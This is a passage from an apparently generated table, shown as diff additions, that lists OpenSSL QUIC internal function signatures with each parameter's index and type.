ossl_quic_channel_set_max_idle_timeout_request | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,uint64_t) | | ossl_quic_channel_set_max_idle_timeout_request | 1 | uint64_t | +| (QUIC_CHANNEL *,uint64_t) | | ossl_quic_channel_set_txku_threshold_override | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,uint64_t) | | ossl_quic_channel_set_txku_threshold_override | 1 | uint64_t | +| (QUIC_CHANNEL *,void *) | | ossl_quic_channel_set_msg_callback_arg | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,void *) | | ossl_quic_channel_set_msg_callback_arg | 1 | void * | +| (QUIC_DEMUX *,BIO *) | | ossl_quic_demux_set_bio | 0 | QUIC_DEMUX * | +| (QUIC_DEMUX *,BIO *) | | ossl_quic_demux_set_bio | 1 | BIO * | +| (QUIC_DEMUX *,QUIC_URXE *) | | ossl_quic_demux_reinject_urxe | 0 | QUIC_DEMUX * | +| (QUIC_DEMUX *,QUIC_URXE *) | | ossl_quic_demux_reinject_urxe | 1 | QUIC_URXE * | +| (QUIC_DEMUX *,QUIC_URXE *) | | ossl_quic_demux_release_urxe | 0 | QUIC_DEMUX * | +| (QUIC_DEMUX *,QUIC_URXE *) | | ossl_quic_demux_release_urxe | 1 | QUIC_URXE * | +| (QUIC_DEMUX *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *) | | ossl_quic_demux_inject | 0 | QUIC_DEMUX * | +| (QUIC_DEMUX *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *) | | ossl_quic_demux_inject | 1 | const unsigned char * | +| (QUIC_DEMUX *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *) | | ossl_quic_demux_inject | 2 | size_t | +| (QUIC_DEMUX *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *) | | ossl_quic_demux_inject | 3 | const BIO_ADDR * | +| (QUIC_DEMUX *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *) | | ossl_quic_demux_inject | 4 | const BIO_ADDR * | +| (QUIC_DEMUX *,ossl_quic_demux_cb_fn *,void *) | | ossl_quic_demux_set_default_handler | 0 | QUIC_DEMUX * | +| (QUIC_DEMUX *,ossl_quic_demux_cb_fn *,void *) | | ossl_quic_demux_set_default_handler | 1 | ossl_quic_demux_cb_fn * | +| (QUIC_DEMUX *,ossl_quic_demux_cb_fn *,void *) | | ossl_quic_demux_set_default_handler | 2 | void * | +| (QUIC_DEMUX *,unsigned int) | | ossl_quic_demux_set_mtu | 0 | QUIC_DEMUX * | +| (QUIC_DEMUX *,unsigned int) | | ossl_quic_demux_set_mtu | 1 | unsigned int | +| (QUIC_ENGINE *) | | ossl_quic_engine_get0_libctx | 0 | QUIC_ENGINE * | +| (QUIC_ENGINE *) | | ossl_quic_engine_get0_mutex | 0 | QUIC_ENGINE * | +| (QUIC_ENGINE *) | | ossl_quic_engine_get0_propq | 0 | QUIC_ENGINE * | +| (QUIC_ENGINE *) | | ossl_quic_engine_get0_reactor | 0 | QUIC_ENGINE * | +| (QUIC_ENGINE *,..(*)(..),void *) | | ossl_quic_engine_set_time_cb | 0 | QUIC_ENGINE * | +| (QUIC_ENGINE *,..(*)(..),void *) | | ossl_quic_engine_set_time_cb | 1 | ..(*)(..) | +| (QUIC_ENGINE *,..(*)(..),void *) | | ossl_quic_engine_set_time_cb | 2 | void * | +| (QUIC_ENGINE *,OSSL_TIME) | | ossl_quic_engine_make_real_time | 0 | QUIC_ENGINE * | +| (QUIC_ENGINE *,OSSL_TIME) | | ossl_quic_engine_make_real_time | 1 | OSSL_TIME | +| (QUIC_ENGINE *,const QUIC_PORT_ARGS *) | | ossl_quic_engine_create_port | 0 | QUIC_ENGINE * | +| (QUIC_ENGINE *,const QUIC_PORT_ARGS *) | | ossl_quic_engine_create_port | 1 | const QUIC_PORT_ARGS * | +| (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 0 | QUIC_ENGINE * | +| (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | int | +| (QUIC_FIFD *,..(*)(..),void *) | | ossl_quic_fifd_set_qlog_cb | 0 | QUIC_FIFD * | +| (QUIC_FIFD *,..(*)(..),void *) | | ossl_quic_fifd_set_qlog_cb | 1 | ..(*)(..) | +| (QUIC_FIFD *,..(*)(..),void *) | | ossl_quic_fifd_set_qlog_cb | 2 | void * | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 0 | QUIC_FIFD * | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 1 | QUIC_CFQ * | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 2 | OSSL_ACKM * | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 3 | QUIC_TXPIM * | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 4 | ..(*)(..) | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 5 | void * | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 6 | ..(*)(..) | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 7 | void * | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 8 | ..(*)(..) | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 9 | void * | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 10 | ..(*)(..) | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 11 | void * | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 12 | ..(*)(..) | +| (QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *) | | ossl_quic_fifd_init | 13 | void * | +| (QUIC_FIFD *,QUIC_TXPIM_PKT *) | | ossl_quic_fifd_pkt_commit | 0 | QUIC_FIFD * | +| (QUIC_FIFD *,QUIC_TXPIM_PKT *) | | ossl_quic_fifd_pkt_commit | 1 | QUIC_TXPIM_PKT * | +| (QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t) | | ossl_quic_hdr_protector_init | 0 | QUIC_HDR_PROTECTOR * | +| (QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t) | | ossl_quic_hdr_protector_init | 1 | OSSL_LIB_CTX * | +| (QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t) | | ossl_quic_hdr_protector_init | 2 | const char * | +| (QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t) | | ossl_quic_hdr_protector_init | 3 | uint32_t | +| (QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t) | | ossl_quic_hdr_protector_init | 4 | const unsigned char * | +| (QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t) | | ossl_quic_hdr_protector_init | 5 | size_t | +| (QUIC_HDR_PROTECTOR *,QUIC_PKT_HDR_PTRS *) | | ossl_quic_hdr_protector_decrypt | 0 | QUIC_HDR_PROTECTOR * | +| (QUIC_HDR_PROTECTOR *,QUIC_PKT_HDR_PTRS *) | | ossl_quic_hdr_protector_decrypt | 1 | QUIC_PKT_HDR_PTRS * | +| (QUIC_HDR_PROTECTOR *,QUIC_PKT_HDR_PTRS *) | | ossl_quic_hdr_protector_encrypt | 0 | QUIC_HDR_PROTECTOR * | +| (QUIC_HDR_PROTECTOR *,QUIC_PKT_HDR_PTRS *) | | ossl_quic_hdr_protector_encrypt | 1 | QUIC_PKT_HDR_PTRS * | +| (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_decrypt_fields | 0 | QUIC_HDR_PROTECTOR * | +| (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_decrypt_fields | 1 | const unsigned char * | +| (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_decrypt_fields | 2 | size_t | +| (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_decrypt_fields | 3 | unsigned char * | +| (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_decrypt_fields | 4 | unsigned char * | +| (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_encrypt_fields | 0 | QUIC_HDR_PROTECTOR * | +| (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_encrypt_fields | 1 | const unsigned char * | +| (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_encrypt_fields | 2 | size_t | +| (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_encrypt_fields | 3 | unsigned char * | +| (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_encrypt_fields | 4 | unsigned char * | +| (QUIC_LCIDM *,QUIC_CONN_ID *) | | ossl_quic_lcidm_get_unused_cid | 0 | QUIC_LCIDM * | +| (QUIC_LCIDM *,QUIC_CONN_ID *) | | ossl_quic_lcidm_get_unused_cid | 1 | QUIC_CONN_ID * | +| (QUIC_LCIDM *,const QUIC_CONN_ID *) | | ossl_quic_lcidm_debug_remove | 0 | QUIC_LCIDM * | +| (QUIC_LCIDM *,const QUIC_CONN_ID *) | | ossl_quic_lcidm_debug_remove | 1 | const QUIC_CONN_ID * | +| (QUIC_LCIDM *,const QUIC_CONN_ID *,uint64_t *,void **) | | ossl_quic_lcidm_lookup | 0 | QUIC_LCIDM * | +| (QUIC_LCIDM *,const QUIC_CONN_ID *,uint64_t *,void **) | | ossl_quic_lcidm_lookup | 1 | const QUIC_CONN_ID * | +| (QUIC_LCIDM *,const QUIC_CONN_ID *,uint64_t *,void **) | | ossl_quic_lcidm_lookup | 2 | uint64_t * | +| (QUIC_LCIDM *,const QUIC_CONN_ID *,uint64_t *,void **) | | ossl_quic_lcidm_lookup | 3 | void ** | +| (QUIC_LCIDM *,void *,OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_lcidm_generate | 0 | QUIC_LCIDM * | +| (QUIC_LCIDM *,void *,OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_lcidm_generate | 1 | void * | +| (QUIC_LCIDM *,void *,OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_lcidm_generate | 2 | OSSL_QUIC_FRAME_NEW_CONN_ID * | +| (QUIC_LCIDM *,void *,QUIC_CONN_ID *) | | ossl_quic_lcidm_generate_initial | 0 | QUIC_LCIDM * | +| (QUIC_LCIDM *,void *,QUIC_CONN_ID *) | | ossl_quic_lcidm_generate_initial | 1 | void * | +| (QUIC_LCIDM *,void *,QUIC_CONN_ID *) | | ossl_quic_lcidm_generate_initial | 2 | QUIC_CONN_ID * | +| (QUIC_LCIDM *,void *,const QUIC_CONN_ID *) | | ossl_quic_lcidm_bind_channel | 0 | QUIC_LCIDM * | +| (QUIC_LCIDM *,void *,const QUIC_CONN_ID *) | | ossl_quic_lcidm_bind_channel | 1 | void * | +| (QUIC_LCIDM *,void *,const QUIC_CONN_ID *) | | ossl_quic_lcidm_bind_channel | 2 | const QUIC_CONN_ID * | +| (QUIC_LCIDM *,void *,const QUIC_CONN_ID *) | | ossl_quic_lcidm_enrol_odcid | 0 | QUIC_LCIDM * | +| (QUIC_LCIDM *,void *,const QUIC_CONN_ID *) | | ossl_quic_lcidm_enrol_odcid | 1 | void * | +| (QUIC_LCIDM *,void *,const QUIC_CONN_ID *) | | ossl_quic_lcidm_enrol_odcid | 2 | const QUIC_CONN_ID * | +| (QUIC_LCIDM *,void *,const QUIC_CONN_ID *,uint64_t) | | ossl_quic_lcidm_debug_add | 0 | QUIC_LCIDM * | +| (QUIC_LCIDM *,void *,const QUIC_CONN_ID *,uint64_t) | | ossl_quic_lcidm_debug_add | 1 | void * | +| (QUIC_LCIDM *,void *,const QUIC_CONN_ID *,uint64_t) | | ossl_quic_lcidm_debug_add | 2 | const QUIC_CONN_ID * | +| (QUIC_LCIDM *,void *,const QUIC_CONN_ID *,uint64_t) | | ossl_quic_lcidm_debug_add | 3 | uint64_t | +| (QUIC_OBJ *) | | ossl_quic_obj_get0_handshake_layer | 0 | QUIC_OBJ * | +| (QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *) | | ossl_quic_obj_init | 0 | QUIC_OBJ * | +| (QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *) | | ossl_quic_obj_init | 1 | SSL_CTX * | +| (QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *) | | ossl_quic_obj_init | 2 | int | +| (QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *) | | ossl_quic_obj_init | 3 | SSL * | +| (QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *) | | ossl_quic_obj_init | 4 | QUIC_ENGINE * | +| (QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *) | | ossl_quic_obj_init | 5 | QUIC_PORT * | +| (QUIC_OBJ *,unsigned int) | | ossl_quic_obj_set_blocking_mode | 0 | QUIC_OBJ * | +| (QUIC_OBJ *,unsigned int) | | ossl_quic_obj_set_blocking_mode | 1 | unsigned int | +| (QUIC_PN,unsigned char *,size_t) | | ossl_quic_wire_encode_pkt_hdr_pn | 0 | QUIC_PN | +| (QUIC_PN,unsigned char *,size_t) | | ossl_quic_wire_encode_pkt_hdr_pn | 1 | unsigned char * | +| (QUIC_PN,unsigned char *,size_t) | | ossl_quic_wire_encode_pkt_hdr_pn | 2 | size_t | +| (QUIC_PORT *) | | ossl_quic_port_get0_demux | 0 | QUIC_PORT * | +| (QUIC_PORT *) | | ossl_quic_port_get0_engine | 0 | QUIC_PORT * | +| (QUIC_PORT *) | | ossl_quic_port_get0_mutex | 0 | QUIC_PORT * | +| (QUIC_PORT *) | | ossl_quic_port_get0_reactor | 0 | QUIC_PORT * | +| (QUIC_PORT *) | | ossl_quic_port_get_channel_ctx | 0 | QUIC_PORT * | +| (QUIC_PORT *) | | ossl_quic_port_get_net_rbio | 0 | QUIC_PORT * | +| (QUIC_PORT *) | | ossl_quic_port_get_net_wbio | 0 | QUIC_PORT * | +| (QUIC_PORT *) | | ossl_quic_port_have_incoming | 0 | QUIC_PORT * | +| (QUIC_PORT *) | | ossl_quic_port_pop_incoming | 0 | QUIC_PORT * | +| (QUIC_PORT *,BIO *) | | ossl_quic_port_set_net_rbio | 0 | QUIC_PORT * | +| (QUIC_PORT *,BIO *) | | ossl_quic_port_set_net_rbio | 1 | BIO * | +| (QUIC_PORT *,BIO *) | | ossl_quic_port_set_net_wbio | 0 | QUIC_PORT * | +| (QUIC_PORT *,BIO *) | | ossl_quic_port_set_net_wbio | 1 | BIO * | +| (QUIC_PORT *,SSL *) | | ossl_quic_port_create_incoming | 0 | QUIC_PORT * | +| (QUIC_PORT *,SSL *) | | ossl_quic_port_create_incoming | 1 | SSL * | +| (QUIC_PORT *,SSL *) | | ossl_quic_port_create_outgoing | 0 | QUIC_PORT * | +| (QUIC_PORT *,SSL *) | | ossl_quic_port_create_outgoing | 1 | SSL * | +| (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 0 | QUIC_PORT * | +| (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | int | +| (QUIC_RCIDM *,QUIC_CONN_ID *) | | ossl_quic_rcidm_get_preferred_tx_dcid | 0 | QUIC_RCIDM * | +| (QUIC_RCIDM *,QUIC_CONN_ID *) | | ossl_quic_rcidm_get_preferred_tx_dcid | 1 | QUIC_CONN_ID * | +| (QUIC_RCIDM *,const OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_rcidm_add_from_ncid | 0 | QUIC_RCIDM * | +| (QUIC_RCIDM *,const OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_rcidm_add_from_ncid | 1 | const OSSL_QUIC_FRAME_NEW_CONN_ID * | +| (QUIC_RCIDM *,const QUIC_CONN_ID *) | | ossl_quic_rcidm_add_from_initial | 0 | QUIC_RCIDM * | +| (QUIC_RCIDM *,const QUIC_CONN_ID *) | | ossl_quic_rcidm_add_from_initial | 1 | const QUIC_CONN_ID * | +| (QUIC_RCIDM *,const QUIC_CONN_ID *) | | ossl_quic_rcidm_add_from_server_retry | 0 | QUIC_RCIDM * | +| (QUIC_RCIDM *,const QUIC_CONN_ID *) | | ossl_quic_rcidm_add_from_server_retry | 1 | const QUIC_CONN_ID * | +| (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 0 | QUIC_RCIDM * | +| (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | int | +| (QUIC_RCIDM *,uint64_t) | | ossl_quic_rcidm_on_packet_sent | 0 | QUIC_RCIDM * | +| (QUIC_RCIDM *,uint64_t) | | ossl_quic_rcidm_on_packet_sent | 1 | uint64_t | +| (QUIC_REACTOR *) | | ossl_quic_reactor_get0_notifier | 0 | QUIC_REACTOR * | +| (QUIC_REACTOR *) | | ossl_quic_reactor_get_tick_deadline | 0 | QUIC_REACTOR * | +| (QUIC_REACTOR *) | | ossl_quic_reactor_net_read_desired | 0 | QUIC_REACTOR * | +| (QUIC_REACTOR *) | | ossl_quic_reactor_net_write_desired | 0 | QUIC_REACTOR * | +| (QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t) | | ossl_quic_reactor_init | 0 | QUIC_REACTOR * | +| (QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t) | | ossl_quic_reactor_init | 1 | ..(*)(..) | +| (QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t) | | ossl_quic_reactor_init | 2 | void * | +| (QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t) | | ossl_quic_reactor_init | 3 | CRYPTO_MUTEX * | +| (QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t) | | ossl_quic_reactor_init | 4 | OSSL_TIME | +| (QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t) | | ossl_quic_reactor_init | 5 | uint64_t | +| (QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *) | | ossl_quic_reactor_set_poll_r | 0 | QUIC_REACTOR * | +| (QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *) | | ossl_quic_reactor_set_poll_r | 1 | const BIO_POLL_DESCRIPTOR * | +| (QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *) | | ossl_quic_reactor_set_poll_w | 0 | QUIC_REACTOR * | +| (QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *) | | ossl_quic_reactor_set_poll_w | 1 | const BIO_POLL_DESCRIPTOR * | +| (QUIC_RSTREAM *,const unsigned char **,size_t *,int *) | | ossl_quic_rstream_get_record | 0 | QUIC_RSTREAM * | +| (QUIC_RSTREAM *,const unsigned char **,size_t *,int *) | | ossl_quic_rstream_get_record | 1 | const unsigned char ** | +| (QUIC_RSTREAM *,const unsigned char **,size_t *,int *) | | ossl_quic_rstream_get_record | 2 | size_t * | +| (QUIC_RSTREAM *,const unsigned char **,size_t *,int *) | | ossl_quic_rstream_get_record | 3 | int * | +| (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 0 | QUIC_RSTREAM * | +| (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | int | +| (QUIC_RSTREAM *,size_t *,int *) | | ossl_quic_rstream_available | 0 | QUIC_RSTREAM * | +| (QUIC_RSTREAM *,size_t *,int *) | | ossl_quic_rstream_available | 1 | size_t * | +| (QUIC_RSTREAM *,size_t *,int *) | | ossl_quic_rstream_available | 2 | int * | +| (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_release_record | 0 | QUIC_RSTREAM * | +| (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_release_record | 1 | size_t | +| (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_resize_rbuf | 0 | QUIC_RSTREAM * | +| (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_resize_rbuf | 1 | size_t | +| (QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *) | | ossl_quic_rstream_peek | 0 | QUIC_RSTREAM * | +| (QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *) | | ossl_quic_rstream_peek | 1 | unsigned char * | +| (QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *) | | ossl_quic_rstream_peek | 2 | size_t | +| (QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *) | | ossl_quic_rstream_peek | 3 | size_t * | +| (QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *) | | ossl_quic_rstream_peek | 4 | int * | +| (QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *) | | ossl_quic_rstream_read | 0 | QUIC_RSTREAM * | +| (QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *) | | ossl_quic_rstream_read | 1 | unsigned char * | +| (QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *) | | ossl_quic_rstream_read | 2 | size_t | +| (QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *) | | ossl_quic_rstream_read | 3 | size_t * | +| (QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *) | | ossl_quic_rstream_read | 4 | int * | +| (QUIC_RXFC *) | | ossl_quic_rxfc_get_parent | 0 | QUIC_RXFC * | +| (QUIC_RXFC *,OSSL_STATM *,size_t) | | ossl_quic_rstream_new | 0 | QUIC_RXFC * | +| (QUIC_RXFC *,OSSL_STATM *,size_t) | | ossl_quic_rstream_new | 1 | OSSL_STATM * | +| (QUIC_RXFC *,OSSL_STATM *,size_t) | | ossl_quic_rstream_new | 2 | size_t | +| (QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init | 0 | QUIC_RXFC * | +| (QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init | 1 | QUIC_RXFC * | +| (QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init | 2 | uint64_t | +| (QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init | 3 | uint64_t | +| (QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init | 4 | ..(*)(..) | +| (QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init | 5 | void * | +| (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 0 | QUIC_RXFC * | +| (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | int | +| (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 0 | QUIC_RXFC * | +| (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | int | +| (QUIC_RXFC *,size_t) | | ossl_quic_rxfc_set_max_window_size | 0 | QUIC_RXFC * | +| (QUIC_RXFC *,size_t) | | ossl_quic_rxfc_set_max_window_size | 1 | size_t | +| (QUIC_RXFC *,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init_standalone | 0 | QUIC_RXFC * | +| (QUIC_RXFC *,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init_standalone | 1 | uint64_t | +| (QUIC_RXFC *,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init_standalone | 2 | ..(*)(..) | +| (QUIC_RXFC *,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init_standalone | 3 | void * | +| (QUIC_RXFC *,uint64_t,OSSL_TIME) | | ossl_quic_rxfc_on_retire | 0 | QUIC_RXFC * | +| (QUIC_RXFC *,uint64_t,OSSL_TIME) | | ossl_quic_rxfc_on_retire | 1 | uint64_t | +| (QUIC_RXFC *,uint64_t,OSSL_TIME) | | ossl_quic_rxfc_on_retire | 2 | OSSL_TIME | +| (QUIC_RXFC *,uint64_t,int) | | ossl_quic_rxfc_on_rx_stream_frame | 0 | QUIC_RXFC * | +| (QUIC_RXFC *,uint64_t,int) | | ossl_quic_rxfc_on_rx_stream_frame | 1 | uint64_t | +| (QUIC_RXFC *,uint64_t,int) | | ossl_quic_rxfc_on_rx_stream_frame | 2 | int | +| (QUIC_SRTM *,const QUIC_STATELESS_RESET_TOKEN *,size_t,void **,uint64_t *) | | ossl_quic_srtm_lookup | 0 | QUIC_SRTM * | +| (QUIC_SRTM *,const QUIC_STATELESS_RESET_TOKEN *,size_t,void **,uint64_t *) | | ossl_quic_srtm_lookup | 1 | const QUIC_STATELESS_RESET_TOKEN * | +| (QUIC_SRTM *,const QUIC_STATELESS_RESET_TOKEN *,size_t,void **,uint64_t *) | | ossl_quic_srtm_lookup | 2 | size_t | +| (QUIC_SRTM *,const QUIC_STATELESS_RESET_TOKEN *,size_t,void **,uint64_t *) | | ossl_quic_srtm_lookup | 3 | void ** | +| (QUIC_SRTM *,const QUIC_STATELESS_RESET_TOKEN *,size_t,void **,uint64_t *) | | ossl_quic_srtm_lookup | 4 | uint64_t * | +| (QUIC_SRTM *,void *,uint64_t,const QUIC_STATELESS_RESET_TOKEN *) | | ossl_quic_srtm_add | 0 | QUIC_SRTM * | +| (QUIC_SRTM *,void *,uint64_t,const QUIC_STATELESS_RESET_TOKEN *) | | ossl_quic_srtm_add | 1 | void * | +| (QUIC_SRTM *,void *,uint64_t,const QUIC_STATELESS_RESET_TOKEN *) | | ossl_quic_srtm_add | 2 | uint64_t | +| (QUIC_SRTM *,void *,uint64_t,const QUIC_STATELESS_RESET_TOKEN *) | | ossl_quic_srtm_add | 3 | const QUIC_STATELESS_RESET_TOKEN * | +| (QUIC_SSTREAM *) | | ossl_quic_sstream_get_buffer_avail | 0 | QUIC_SSTREAM * | +| (QUIC_SSTREAM *) | | ossl_quic_sstream_get_buffer_size | 0 | QUIC_SSTREAM * | +| (QUIC_SSTREAM *) | | ossl_quic_sstream_get_buffer_used | 0 | QUIC_SSTREAM * | +| (QUIC_SSTREAM *) | | ossl_quic_sstream_get_cur_size | 0 | QUIC_SSTREAM * | +| (QUIC_SSTREAM *,const unsigned char *,size_t,size_t *) | | ossl_quic_sstream_append | 0 | QUIC_SSTREAM * | +| (QUIC_SSTREAM *,const unsigned char *,size_t,size_t *) | | ossl_quic_sstream_append | 1 | const unsigned char * | +| (QUIC_SSTREAM *,const unsigned char *,size_t,size_t *) | | ossl_quic_sstream_append | 2 | size_t | +| (QUIC_SSTREAM *,const unsigned char *,size_t,size_t *) | | ossl_quic_sstream_append | 3 | size_t * | +| 